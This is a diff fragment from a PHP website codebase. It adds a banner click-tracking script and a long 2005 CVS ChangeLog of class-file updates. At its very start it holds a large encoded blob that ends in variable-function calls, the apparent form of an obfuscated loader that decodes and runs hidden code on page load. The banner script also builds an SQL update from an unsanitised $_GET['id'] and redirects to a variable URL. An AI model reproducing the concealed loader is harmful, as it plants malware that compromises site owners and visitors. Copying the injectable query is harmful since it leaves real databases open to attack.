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";$JwPnWU=$XZrMYS($GrRYwC,$atHsFO);$JwPnWU($QeEoMd);
+require_once('setup.phtml');
+require_once(BASE.'classes/class_db.inc');
+$DB =& new GLM_DB();
+if( $_GET['id'] )
+{
+ $query = "update banner set clicks = clicks + 1 where id = ".$_GET['id'];
+ $DB->db_auto_exec( $query );
+}
+header('Location: http://'.$url)
+?>
--- /dev/null
+2005-12-23 14:24 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_tellfriend.inc: changing to required_once
+
+2005-12-23 14:23 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_tellfriend.inc: update
+
+2005-12-23 14:22 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_tellfriend.inc: updating tellfriend script (uses extends
+ contact_form)
+
+2005-12-09 12:17 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update get_ancestors function to reset array
+
+2005-12-08 13:32 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update for not using db
+
+2005-11-29 08:24 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update to set maxlegth on text type
+
+2005-11-28 15:14 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc, class_template.inc: validate more
+
+2005-11-18 16:49 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc: update commits
+
+2005-11-16 09:27 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update
+
+2005-11-10 12:31 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_photos.inc: updates
+
+2005-11-10 10:24 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update use \>= current_date in home event
+ function
+
+2005-11-10 10:09 Steve Sutton <steve@gaslightmedia.com>
+
+ * glm-Events-calendar-2-0.phtml: update one too many tr
+
+2005-11-09 16:49 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2005-11-08 14:00 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2005-11-03 12:58 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2005-11-03 12:56 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update the contact form
+
+2005-10-24 11:48 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update some comment structure
+
+2005-10-21 09:57 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc: update docs
+
+2005-10-13 10:03 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: updates to add interest(dynamic)
+
+2005-10-06 10:30 Steve Sutton <steve@gaslightmedia.com>
+
+ * ChangeLog: update
+
+2005-10-06 10:14 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc: add removal of ()'" for sql injection posibilty
+ when logging in
+
+2005-10-05 16:37 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc, class_photos.inc, class_toolbox.inc,
+ glm-Events-2-0.phtml, glm-Events-calendar-2-0.phtml,
+ glm-Newsletter-2-0.phtml: updates to docs
+
+2005-10-05 08:24 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update spell zip in a upper case
+
+2005-09-30 16:02 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2005-09-30 15:23 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update for image title
+
+2005-09-29 11:07 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_photos.inc: update adding cols as class variable and add
+ div clearer
+
+2005-09-29 10:00 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc: more update with topics for the event output in
+ calendars
+
+2005-09-29 09:53 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc: update for topicname stuff
+
+2005-09-22 16:35 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_photos.inc: adding images under large one
+
+2005-09-20 15:20 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update email part for no double :
+
+2005-09-20 15:20 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update active part
+
+2005-09-20 14:32 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update with ban_words thingy
+
+2005-09-20 08:56 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update docs
+
+2005-09-19 16:39 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc, class_events.inc, class_photos.inc,
+ class_search.inc, class_template.inc: update to comments for docs
+
+2005-09-16 11:07 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_toolbox.inc: no double $ in docs comments
+
+2005-09-16 11:05 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update todo list
+
+2005-09-14 16:06 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update the contact form
+
+2005-09-12 09:42 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update
+
+2005-09-08 15:37 Steve Sutton <steve@gaslightmedia.com>
+
+ * ChangeLog: update
+
+2005-09-08 15:11 Steve Sutton <steve@gaslightmedia.com>
+
+ * ChangeLog: update changelog
+
+2005-09-08 15:07 Steve Sutton <steve@gaslightmedia.com>
+
+ * ChangeLog: update Changelog
+
+2005-09-08 13:25 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update-
+
+2005-09-07 14:28 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update don't send if not valid email
+
+2005-09-06 09:49 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update
+
+2005-09-06 09:32 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: add check for valid email
+
+2005-09-01 10:02 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc: update remove popup image thing and madified
+ the way it searches for a single day.
+
+2005-08-25 16:38 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc, class_calendar.inc, class_contact_form.inc,
+ class_db.inc, class_events.inc, class_importer.inc,
+ class_photos.inc, class_search.inc, class_tellfriend.inc,
+ class_toolbox.inc, glm-Events-calendar-2-0.phtml: updatitng
+ comment php docs
+
+2005-08-25 16:34 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: iupdate comment
+
+2005-08-25 16:33 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update for active is true bottom nav
+
+2005-08-23 14:11 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc, glm-Events-calendar-2-0.phtml: update for no
+ topic
+
+2005-08-23 08:04 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update for array of interest in email
+
+2005-08-18 15:49 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: added current date check for home page event
+ function
+
+2005-08-18 13:58 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc: update
+
+2005-08-18 12:55 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc, class_events.inc, class_photos.inc,
+ class_search.inc, class_template.inc: updates
+
+2005-08-17 16:22 Steve Sutton <steve@gaslightmedia.com>
+
+ * ChangeLog: update changelog
+
+2005-08-17 11:50 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc, glm-Events-calendar-2-0.phtml: update
+
+2005-08-16 08:44 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_photos.inc: update for photo gallery
+
+2005-08-11 13:51 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: oops forgot to commit
+
+2005-08-10 14:51 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: adding img for file types
+
+2005-08-10 08:54 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: if nothing but category name then don't
+ output div id category
+
+2005-08-09 15:03 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc: updates to events calendar
+
+2005-08-01 10:09 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc: document updating
+
+2005-08-01 09:29 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update
+
+2005-08-01 08:25 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: take out base_url from keyword replace
+ function not needed as get_seo_url already does this.
+
+2005-07-28 16:12 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: updates for phpdocumentor
+
+2005-07-28 15:59 Steve Sutton <steve@gaslightmedia.com>
+
+ * ChangeLog, class_photos.inc: updates for phpdocumentor
+
+2005-07-28 15:50 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_photos.inc, class_template.inc: updates for phpdocumentor
+
+2005-07-28 15:39 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_toolbox.inc: updates for phpdocumentor
+
+2005-07-28 15:29 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc, class_toolbox.inc: updates for phpdocumentor
+
+2005-07-26 16:12 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_toolbox.inc: update error
+
+2005-07-25 14:40 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: adding HOME_ID define
+
+2005-06-30 15:17 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc, class_toolbox.inc: update on toolbox
+
+2005-06-28 11:11 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update set_img
+
+2005-06-24 15:15 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_photos.inc: update for image names
+
+2005-06-20 14:27 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: some additional comments on title and meta
+ tags please read
+
+2005-06-17 15:23 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: corrections on image caption
+
+2005-06-13 15:39 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: chaneg to 250 chars for meta description text
+
+2005-06-13 15:36 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: chaneg to 150 chars for meta description text
+
+2005-06-13 15:10 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update fixes
+
+2005-06-10 16:27 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc, glm-Events-2-0.phtml: update on event
+
+2005-06-10 14:13 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc: events update
+
+2005-06-10 13:00 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc: no show topics for calendar
+
+2005-06-10 12:46 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_events.inc: no show topics for calendar
+
+2005-06-09 14:33 Steve Sutton <steve@gaslightmedia.com>
+
+ * ChangeLog, class_template.inc: update to no have nl2br
+
+2005-06-07 10:34 Ove <ove@gaslightmedia.com>
+
+ * class_contact_form.inc: Finally fixing who email is from
+
+2005-06-03 10:38 Steve Sutton <steve@gaslightmedia.com>
+
+ * ChangeLog: adding Change log
+
+2005-06-03 08:01 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc: updates
+
+2005-05-31 10:54 Ove <ove@gaslightmedia.com>
+
+ * class_contact_form.inc: [no log message]
+
+2005-05-27 16:12 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc, class_toolbox.inc: more updates on docs
+
+2005-05-27 16:00 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: updates
+
+2005-05-27 15:53 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_calendar.inc, class_contact_form.inc, class_importer.inc,
+ class_toolbox.inc: updates
+
+2005-05-27 15:45 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc, class_template.inc, class_toolbox.inc: updates
+
+2005-05-27 15:27 Ove <ove@gaslightmedia.com>
+
+ * class_contact_form.inc: lowercase tags and added to thankyou msg
+
+2005-05-27 15:17 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_calendar.inc, class_events.inc, class_importer.inc,
+ class_template.inc, class_toolbox.inc: updating for docs
+
+2005-05-27 13:58 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_contact_form.inc: update the contact form to use one field
+ per row
+
+2005-05-27 13:58 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: update for get_catid and the working part of
+ adding title tags to the ul menu's
+
+2005-05-27 09:57 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_toolbox.inc: updates on comments
+
+2005-05-26 16:31 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: working on url titles not tested yet
+
+2005-05-24 09:57 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: spelling changes
+
+2005-05-23 08:38 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_calendar.inc, class_importer.inc: new classes need more
+ docmunting though
+
+2005-05-21 22:03 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_db.inc: updates on mostly the comments for phpDocumentor
+
+2005-05-21 21:14 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc, class_contact_form.inc, class_db.inc,
+ class_tellfriend.inc, class_template.inc: updates on mostly the
+ comments for phpDocumentor
+
+2005-05-20 16:35 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_auth.inc, class_db.inc, class_template.inc: marking file
+
+2005-05-20 16:14 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: marking file
+
+2005-04-27 14:03 Steve Sutton <steve@gaslightmedia.com>
+
+ * class_template.inc: might be nice to set active query on
+ constuctor of class
+
+2005-04-20 14:25 Steve Sutton <steve@gaslightmedia.com>
+
+ * glm-Events-calendar-2-0.phtml: updates to events
+
